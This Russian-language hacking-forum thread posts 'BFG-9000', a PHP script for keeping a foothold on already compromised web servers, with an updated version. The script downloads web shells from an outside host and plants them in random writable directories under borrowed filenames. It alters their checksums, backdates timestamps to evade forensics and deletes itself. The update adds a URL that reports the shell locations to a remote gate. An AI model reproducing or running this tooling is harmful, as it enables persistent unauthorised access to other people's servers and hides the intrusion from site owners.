• XSS.stack #1 – первый литературный журнал от юзеров форума

BFG-9000

thanatos

CD-диск
Пользователь
Регистрация
02.08.2014
Сообщения
10
Реакции
0
BFG-9000
Универсальный скрипт для закрепления на шеллах.
Закачивает ваши файлы по ссылке, проверяет работоспособность и прячет их.

Описание
Скрипт загружает на сервер список указанных файлов и прячет их, выбирая директорию случайным образом из доступных для записи и выбирая новое название для загруженных файлов случайным образом из найденных на сервере файлов.
На сервер загружается тестовый файл для проверки выполнения php кода в выбранной директории, после проверки тестовый файл удаляется и в директорию загружется файл из вашего списка.
После загрузки вашего файла на него не делается запросов чтобы избежать преждевременного попадания в лог веб-сервера.
Также в конец загруженного файла добавляется рандомное количество пробелов чтобы изменить его размер и md5 и другие чексуммы, и усложнить поиск подобных файлов.
Файлы скачиваются 3 методами: socket/curl/file_get_contents.
По окончанию работы изменённые директории и загруженные файлы тачатся на старое время изменения директории, и BFG удаляет себя.

Запускайте код BFG через eval на шелле или загружайте на сервер в виде файла и открывайте в браузере.
Не оставляйте код BFG на хостах!


Посвящается xss.pro/ и Exploit.in

Код:
<?php
/*
    _______  _______  _______         _______  _______  _______  _______
   |  _    ||       ||       |       |  _    ||  _    ||  _    ||  _    |
   | |_|   ||    ___||    ___| ____  | | |   || | |   || | |   || | |   |
   |       ||   |___ |   | __ |____| | |_|   || | |   || | |   || | |   |
   |  _   | |    ___||   ||  |       |___    || |_|   || |_|   || |_|   |
   | |_|   ||   |    |   |_| |           |   ||       ||       ||       |
   |_______||___|    |_______|           |___||_______||_______||_______|
   v0.1 20140813
*/

/* #########   Config   ######### */
/* Список файлов которые нужно загрузить */
$upload['wso_password_kjhgf']='http://myfiles.pro/uploads/1742819183.wso.txt';
$upload['mini_uploader']='http://myfiles.pro/uploads/881404330.upload.txt';
/* Регулярное выражение исключения из имен для файлов */
$exclude_names='#(index\.php|admin\.php)#';
/* User Agent используется при скачивании файлов */
$ua ='Mozilla/5.0 (compatible; googlebot/2.1; +http://www.google.com/bot.html)';
/* Самоуничтожение BFG после выполнения */
$selfkill=true;
/* откуда начинать поиск, можно поменять для заливки на соседний сайт */
$homedir=$_SERVER['DOCUMENT_ROOT'];
/* Можно поменять для заливки на соседний сайт */
$host=$_SERVER['HTTP_HOST'];
/* #########   End Config   ######### */
foreach($upload as $name=>$path) {
   echo "\n\n [ ] Get content $path\t";
   if($body=get($path)) {
       echo "[ok] ".strlen($body)."\n";
   }else {
       echo "[fail]\n;";
       continue;
   }
   if ($handle = opendir($homedir)) {
       while (false !== ($file = readdir($handle))) {
           if ($file == "." or $file == "..") {
               continue;
           }
           if (filetype($homedir . DIRECTORY_SEPARATOR . $file) == "dir") {
               $root_dirs[$file]=$homedir . DIRECTORY_SEPARATOR . $file;
           }
       }
   }
   shuffle($root_dirs);
   foreach($root_dirs as $root_name=>$root_dir) {
       $result[$root_name] = scan($root_dir);
   }
   if(sizeof($result)>0) {
       foreach($result as $home=>$info) {
           if(sizeof(@$info['dir'])==0) continue;
           if(sizeof($info['file'])==0) continue;
           shuffle(array_unique($info['dir']));
           array_unique($info['file']);
           foreach($info['dir'] as $random_dir) {
               shuffle($info['file']);
               foreach($info['file'] as $random_file) {
                   $random_name = $random_dir . DIRECTORY_SEPARATOR . $random_file;
                   $fail=false;
                   if(!is_file($random_name)) {
                       if(is_writable($random_dir)){
                           //echo " [+] rand path: $random_name\n";
                           echo " [*] scan: $random_dir\n";
                           $dir_time=filemtime($random_dir);
                           if ($handle = opendir($random_dir)) {
                               $old=microtime(1);
                               while (false !== ($file = readdir($handle))) {
                                   if ($file == "." or $file == "..") {
                                       continue;
                                   }
                                   $filemt=filemtime($random_dir . DIRECTORY_SEPARATOR . $file);
                                   if($filemt<$old) {
                                       $old=$filemt;
                                   }
                               }
                               $data='<?php echo md5(23); ?>';
                               if(file_put_contents($random_name, $data)) {
                                   echo " [+] Upload: $random_name\n";
                                   $url='http://'. $host .str_replace('\\','/',
                                           str_replace($homedir, '', $random_dir)) .
                                       '/' . $random_file;
                                   echo " [*] check: $url\n";
                                   if($content=get($url)) {
                                       if(preg_match('/'.md5(23).'/', $content)){
                                           echo " [+] Found: $url\n";
                                           if(unlink($random_name)) {
                                               echo " [+] Del: $random_name\n";
                                           }else {
                                               echo " [-] Del: $random_name\n";
                                           }
                                           shuffle($info['file']);
                                           foreach($info['file'] as $random_file) {
                                               $random_name = $random_dir . DIRECTORY_SEPARATOR . $random_file;
                                               $fail=false;
                                               if(!is_file($random_name)) {
                                                   $body.="\n#";
                                                   for($i=0, $m=rand(1,15); $i!=$m; $i++) {
                                                       $body.=md5(rand(0,999999));
                                                   }
                                                   if(file_put_contents($random_name, $body)) {
                                                       echo " [*] Re upload: $random_name\n";
                                                   }else {
                                                       echo " [!] Upload: $random_name\n";
                                                   }
                                                   if(chmod($random_name, 0755)){
                                                       echo " [+] chmod on 755\n";
                                                   }else {
                                                       echo " [-] chmod on 755\n";
                                                   }
                                                   if(touch($random_name, $old)) {
                                                       echo " [+] Touch file on: ".date('d/m/y', $old)."\n";
                                                   }else {
                                                       echo " [-] Touch file on: ".date('d/m/y', $old)."\n";
                                                   }
                                                   if(touch($random_dir, $dir_time)) {
                                                       echo " [+] Touch dir on: ".date('d/m/y', $dir_time)."\n";
                                                   }else {
                                                       echo " [-] Touch dir on: ".date('d/m/y', $dir_time)."\n";
                                                   }
                                                   $upload_url='http://'. $host .str_replace('\\','/', str_replace($homedir, '', $random_dir)) .
                                                       '/' . $random_file;
                                                   $return[$name]=$upload_url;
                                                   echo " [+] UPLOAD ON: $upload_url\n";
                                                   break(4);
                                               }else {
                                                   echo " [~] File exist: $random_name\n";
                                               }
                                           }
                                       }else {
                                           echo " [-] not found\n";
                                           $fail=true;
                                       }
                                   }else {
                                       echo " [!] not recived\n";
                                       $fail=true;
                                   }
                                   if($fail==true){
                                       if(unlink($random_name)) {
                                           echo " [+] Del: $random_name\n";
                                       }else {
                                           echo " [-] Del: $random_name\n";
                                       }
                                       if(touch($random_dir, $dir_time)) {
                                           echo " [+] Touch dir on: ".date('d/m/y', $dir_time)."\n";
                                       }else {
                                           echo " [-] Touch dir on: ".date('d/m/y', $dir_time)."\n";
                                       }
                                   }
                               }else {
                                   echo " [!] Upload: $random_name\n";
                               }
                           }
                       }else {
                           echo " [-] No write: $random_name\n";
                       }
                       break(1);
                   }else {
                       echo " [~] File exist: $random_name\n";
                   }
               }
               echo "\n";
           }
       }
   }
}// end foreach files
if(sizeof($return)>0) {
   echo "----------------------\n";
   foreach($return as $rk=>$rv) {
       echo $rk.":\t".$rv."\n";
   }
   echo "----------------------\n";
   if($selfkill==true) {
       echo "  [ Self kill ]  \n";
       unlink($_SERVER['SCRIPT_FILENAME']);
   }
}else {
   echo "Fatal error\n";
}
function scan($homedir, $count=0, $files=array()) {
   $scan_max=2;
   $subdir=array();
   if($count>$scan_max) return $files;
   if ($handle = opendir($homedir)) {
       while (false !== ($file = readdir($handle))) {
           if ($file == "." or $file == "..") {
               continue;
           }
           $fullPath=$homedir . DIRECTORY_SEPARATOR . $file;
           if (filetype($fullPath) == "dir") {
               $files['dir'][]=$fullPath;
               $subdir[]=$fullPath;
           }else {
               if(!preg_match($exclude_names, $file) and preg_match('/\.php$/i', $file)) {
                   $files['file'][]=$file;
               }
           }
       }
       $count++;
       if(sizeof($subdir)>0) {
           foreach($subdir as $dir) {
               $files=scan($dir, $count, $files);
           }
       }
   }
   return $files;
}
function get($url) {
   if (is_callable("curl_exec")) {
       echo " [curl] ";
       $ch=curl_init();
       curl_setopt($ch,CURLOPT_URL,$url);
       curl_setopt($ch,CURLOPT_USERAGENT,$ua);
       curl_setopt($ch,CURLOPT_HEADER,false);
       curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
       $content=curl_exec($ch);
       curl_close($ch);
       return $content;
   } elseif(is_callable("file_get_contents")) {
       echo " [fget] ";
       return file_get_contents($url, false, stream_context_create(array("http" =>array("header"  => "User-Agent: {$ua}"))));
   }elseif(is_callable("fsockopen")) {
       echo " [socket] ";
       if($fp=fsockopen(parse_url($url,PHP_URL_HOST),80,$e,$e,15)) {
           $out ="GET ".parse_url($url,PHP_URL_PATH)." HTTP/1.1\r\n";
           $out.="Host: ".parse_url($url,PHP_URL_HOST)."\r\n";
           $out.="User-Agent: {$ua}\r\n";
           $out.="\r\n";
           fputs($fp,$out);
           while(!feof($fp)) {
               $content.=fgets($fp,128);
           }
           fclose($fp);
           return $content;
       } else return false;
   } else return false;
}

О всех недочетах ошибках идеях пишите.
 
Я еще не затестировал его. Хотя выглядит прикольно. Возможным дополнением было бы добавление шелов во ВСЕ домены на шелле где open_base dir позволяет
 
Обновление Версия 1.1

Режим дебага и работы как модуля $d
True - Выводит лог работы и результат в формате тхт
False - не выводит лог работы результат в формате json

$gate_url
Если значение не пустое отпровляет на указанный урл рультат работы
В формате json + base64
Пример $gate_url='http://localhost/gate.php?data=';


Можно использовать как модуль к Migera
https://xss.pro/index.php?topic=25323
Код:
<?php
/*
     _______  _______  _______         _______  _______  _______  _______ 
    |  _    ||       ||       |       |  _    ||  _    ||  _    ||  _    |
    | |_|   ||    ___||    ___| ____  | | |   || | |   || | |   || | |   |
    |       ||   |___ |   | __ |____| | |_|   || | |   || | |   || | |   |
    |  _   | |    ___||   ||  |       |___    || |_|   || |_|   || |_|   |
    | |_|   ||   |    |   |_| |           |   ||       ||       ||       |
    |_______||___|    |_______|           |___||_______||_______||_______|
    v0.1.1 20141020

Универсальный скрипт для закрепления на шеллах. 
Закачивает ваши файлы по ссылке, проверяет работоспособность и прячет их.

Описание
    Скрипт загружает на сервер список указанных файлов и прячет их, выбирая директорию случайным образом из доступных для записи и выбирая новое название для загруженных файлов случайным образом из найденных на сервере файлов.
    На сервер загружается тестовый файл для проверки выполнения php кода в выбранной директории, после проверки тестовый файл удаляется и в директорию загружется файл из вашего списка.
    После загрузки вашего файла на него не делается запросов чтобы избежать преждевременного попадания в лог веб-сервера.
    Также в конец загруженного файла добавляется рандомное количество пробелов чтобы изменить его размер и md5 и другие чексуммы, и усложнить поиск подобных файлов.
    Файлы скачиваются 3 методами: socket/curl/file_get_contents.
    По окончанию работы изменённые директории и загруженные файлы тачатся на старое время изменения директории, и BFG удаляет себя.

Запускайте код BFG через eval на шелле или загружайте на сервер в виде файла и открывайте в браузере.
Не оставляйте код BFG на хостах!

Посвящается xss.pro/ и Exploit.in
*/

/* #########   Config   ######### */
/* Список файлов которые нужно загрузить */
$upload['wso_password_kjhgf']='http://myfiles.pro/uploads/1742819183.wso.txt';
$upload['mini_uploader']='http://myfiles.pro/uploads/881404330.upload.txt';
/* Регулярное выражение исключения из имен для файлов */
$exclude_names='#(index\.php|admin\.php)#';
/* User Agent используется при скачивании файлов */
$ua ='Mozilla/5.0 (compatible; googlebot/2.1; +http://www.google.com/bot.html)';
/* Самоуничтожение BFG после выполнения */
$selfkill=true;
/* откуда начинать поиск, можно поменять для заливки на соседний сайт */
$homedir=$_SERVER['DOCUMENT_ROOT'];
/* Можно поменять для заливки на соседний сайт */
$host=$_SERVER['HTTP_HOST'];
$d=true;
/* Режим дебага и работы как модуля
True - Выводит лог работы и результат в формате тхт
False - не выводит лог работы результат в формате json*/
$gate_url='';
/*
Если значение не пустое отпровляет на указанный урл рультат работы
В формате json + base64 
Пример $gate_url='http://localhost/gate.php?data=';
*/
/* #########   End Config   ######### */
foreach($upload as $name=>$path) {
    if($d) echo  "\n\n [ ] Get content $path\t";
    if($body=get($path)) {
        if($d) echo  "[ok] ".strlen($body)."\n";
    }else {
        if($d) echo  "[fail]\n;";
        continue;
    }
    if ($handle = opendir($homedir)) {
        while (false !== ($file = readdir($handle))) {
            if ($file == "." or $file == "..") {
                continue;
            }
            if (filetype($homedir . DIRECTORY_SEPARATOR . $file) == "dir") {
                $root_dirs[$file]=$homedir . DIRECTORY_SEPARATOR . $file;
            }
        }
    }
    shuffle($root_dirs);
    foreach($root_dirs as $root_name=>$root_dir) {
        $result[$root_name] = scan($root_dir);
    }
    if(sizeof($result)>0) {
        foreach($result as $home=>$info) {
            if(sizeof(@$info['dir'])==0) continue;
            if(sizeof($info['file'])==0) continue;
            shuffle(array_unique($info['dir']));
            array_unique($info['file']);
            foreach($info['dir'] as $random_dir) {
                shuffle($info['file']);
                foreach($info['file'] as $random_file) {
                    $random_name = $random_dir . DIRECTORY_SEPARATOR . $random_file;
                    $fail=false;
                    if(!is_file($random_name)) {
                        if(is_writable($random_dir)){
                            //if($d) echo  " [+] rand path: $random_name\n";
                            if($d) echo  " [*] scan: $random_dir\n";
                            $dir_time=filemtime($random_dir);
                            if ($handle = opendir($random_dir)) {
                                $old=microtime(1);
                                while (false !== ($file = readdir($handle))) {
                                    if ($file == "." or $file == "..") {
                                        continue;
                                    }
                                    $filemt=filemtime($random_dir . DIRECTORY_SEPARATOR . $file);
                                    if($filemt<$old) {
                                        $old=$filemt;
                                    }
                                }
                                $data='<?php echo md5(23); ?>';
                                if(file_put_contents($random_name, $data)) {
                                    if($d) echo  " [+] Upload: $random_name\n";
                                    $url='http://'. $host .str_replace('\\','/',
                                            str_replace($homedir, '', $random_dir)) .
                                        '/' . $random_file;
                                    if($d) echo  " [*] check: $url\n";
                                    if($content=get($url)) {
                                        if(preg_match('/'.md5(23).'/', $content)){
                                            if($d) echo  " [+] Found: $url\n";
                                            if(unlink($random_name)) {
                                                if($d) echo  " [+] Del: $random_name\n";
                                            }else {
                                                if($d) echo  " [-] Del: $random_name\n";
                                            }
                                            shuffle($info['file']);
                                            foreach($info['file'] as $random_file) {
                                                $random_name = $random_dir . DIRECTORY_SEPARATOR . $random_file;
                                                $fail=false;
                                                if(!is_file($random_name)) {
                                                    $body.="\n#";
                                                    for($i=0, $m=rand(1,15); $i!=$m; $i++) {
                                                        $body.=md5(rand(0,999999));
                                                    }
                                                    if(file_put_contents($random_name, $body)) {
                                                        if($d) echo  " [*] Re upload: $random_name\n";
                                                    }else {
                                                        if($d) echo  " [!] Upload: $random_name\n";
                                                    }
                                                    if(chmod($random_name, 0755)){
                                                        if($d) echo  " [+] chmod on 755\n";
                                                    }else {
                                                        if($d) echo  " [-] chmod on 755\n";
                                                    }
                                                    if(touch($random_name, $old)) {
                                                        if($d) echo  " [+] Touch file on: ".date('d/m/y', $old)."\n";
                                                    }else {
                                                        if($d) echo  " [-] Touch file on: ".date('d/m/y', $old)."\n";
                                                    }
                                                    if(touch($random_dir, $dir_time)) {
                                                        if($d) echo  " [+] Touch dir on: ".date('d/m/y', $dir_time)."\n";
                                                    }else {
                                                        if($d) echo  " [-] Touch dir on: ".date('d/m/y', $dir_time)."\n";
                                                    }
                                                    $upload_url='http://'. $host .str_replace('\\','/', str_replace($homedir, '', $random_dir)) .
                                                        '/' . $random_file;
                                                    $return[$name]=$upload_url;
                                                    if($d) echo  " [+] UPLOAD ON: $upload_url\n";
                                                    break(4);
                                                }else {
                                                    if($d) echo  " [~] File exist: $random_name\n";
                                                }
                                            }
                                        }else {
                                            if($d) echo  " [-] not found\n";
                                            $fail=true;
                                        }
                                    }else {
                                        if($d) echo  " [!] not recived\n";
                                        $fail=true;
                                    }
                                    if($fail==true){
                                        if(unlink($random_name)) {
                                            if($d) echo  " [+] Del: $random_name\n";
                                        }else {
                                            if($d) echo  " [-] Del: $random_name\n";
                                        }
                                        if(touch($random_dir, $dir_time)) {
                                            if($d) echo  " [+] Touch dir on: ".date('d/m/y', $dir_time)."\n";
                                        }else {
                                            if($d) echo  " [-] Touch dir on: ".date('d/m/y', $dir_time)."\n";
                                        }
                                    }
                                }else {
                                    if($d) echo  " [!] Upload: $random_name\n";
                                }
                            }
                        }else {
                            if($d) echo  " [-] No write: $random_name\n";
                        }
                        break(1);
                    }else {
                        if($d) echo  " [~] File exist: $random_name\n";
                    }
                }
                if($d) echo  "\n";
            }
        }
    }
}// end foreach files
if(sizeof($return)>0) {
    if($d) {
        echo  "----------------------\n";
        foreach($return as $rk=>$rv) {
            echo  $rk.":\t".$rv."\n";
        }
        echo  "----------------------\n";
    }else {
        echo json_encode($return);
    }

    if(!empty($gate_url)) {
        $send_url=$gate_url.base64_encode(json_encode($return));
        if($d) echo "Send: $send_url\t";
        if(get($send_url)) {
            if($d) echo "OK\n";
        }else {
            if($d) echo "Fail\n";
        }
    }
    if($selfkill==true) {
        if($d) echo  "  [ Self kill ]  \n";
        unlink($_SERVER['SCRIPT_FILENAME']);
    }
}else {
    if($d) echo  "Fatal error\n";
}
function scan($homedir, $count=0, $files=array()) {
    $scan_max=2;
    $subdir=array();
    if($count>$scan_max) return $files;
    if ($handle = opendir($homedir)) {
        while (false !== ($file = readdir($handle))) {
            if ($file == "." or $file == "..") {
                continue;
            }
            $fullPath=$homedir . DIRECTORY_SEPARATOR . $file;
            if (filetype($fullPath) == "dir") {
                $files['dir'][]=$fullPath;
                $subdir[]=$fullPath;
            }else {
                if(!preg_match($exclude_names, $file) and preg_match('/\.php$/i', $file)) {
                    $files['file'][]=$file;
                }
            }
        }
        $count++;
        if(sizeof($subdir)>0) {
            foreach($subdir as $dir) {
                $files=scan($dir, $count, $files);
            }
        }
    }
    return $files;
}
function get($url) {
    Global $d;
    if (is_callable("curl_exec")) {
        if($d) echo  " [curl] ";
        $ch=curl_init();
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_USERAGENT,$ua);
        curl_setopt($ch,CURLOPT_HEADER,false);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
        $content=curl_exec($ch);
        curl_close($ch);
        return $content;
    } elseif(is_callable("file_get_contents")) {
        if($d) echo  " [fget] ";
        return file_get_contents($url, false, stream_context_create(array("http" =>array("header"  => "User-Agent: {$ua}"))));
    }elseif(is_callable("fsockopen")) {
        if($d) echo  " [socket] ";
        if($fp=fsockopen(parse_url($url,PHP_URL_HOST),80,$e,$e,15)) {
            $out ="GET ".parse_url($url,PHP_URL_PATH)." HTTP/1.1\r\n";
            $out.="Host: ".parse_url($url,PHP_URL_HOST)."\r\n";
            $out.="User-Agent: {$ua}\r\n";
            $out.="\r\n";
            fputs($fp,$out);
            while(!feof($fp)) {
                $content.=fgets($fp,128);
            }
            fclose($fp);
            return $content;
        } else return false;
    } else return false;
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх